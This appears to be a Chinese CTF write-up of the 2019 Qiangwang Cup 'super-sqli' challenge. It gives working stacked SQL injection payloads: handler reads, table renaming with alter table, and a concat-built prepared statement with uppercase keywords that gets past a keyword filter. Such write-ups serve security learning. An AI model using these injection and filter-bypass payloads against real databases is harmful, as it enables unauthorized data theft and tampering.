强网杯2019–随便注 super-sqli
(buu 或者攻防世界super-sqli)
一开始还是从最基本的union开始尝试
1’ 错
1’ or 1=1#正常
1’ order by 3#
1’ order by 2# 正常,说明2个字段
尝试union:
1’ union select 1,2#
发现常用的关键字都被绕过了,考虑堆叠注入
show tables;#
show columns from words;#
show columns from …
flag在1919810931114514表里面,但是select等都被过滤,因此提取不出来
注意:MySQL表名为纯数字时(表名和保留字冲突时也是加反引号),要加反引号
以下都是搜来的解决办法:(都好nb)
方法1:
1';handler `1919810931114514` open;handler `1919810931114514` read first;#
handler的用法
查阅官方文档
方法2:
页面默认查的是words表,将1919810931114514的表名和words交换;
修改表名和列名的语法如下:
修改表名(将表名user改为users)
alter table user rename to users;
修改列名(将字段名username改为name)
alter table users change uesrname name varchar(30);
最终payload如下:
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
方法3:
利用mysql的预处理。参考
预处理语句输入如下:
1';use supersqli;set @sql=concat('s','elect * from `1919810931114514`');PREPARE pre FROM @sql;EXECUTE pre;--+
set和prepare也是被绕过的
但是strstr()这个函数大小写敏感,所以把set改为大写,prepare也改为大写就可以绕过了
这里很巧妙的用concat绕过了关键字的检查
方法2的分析:唉这个方法还是得好好琢磨
根据两个表的情况结合实际查询出结果的情况判断出words是默认查询的表,因为查询出的结果是一个数字加一个字符串,words表结构是id和data,传入的inject参数也就是赋值给了id
1’ or 1=1#
w
words表
这道题没有禁用rename和alert,所以我们可以采用修改表结构的方法来得到flag 将words表名改为words1,再将数字名表改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段
XDminiL id-wife
这好像一毛一样,放上师傅的wp
luoqian dl的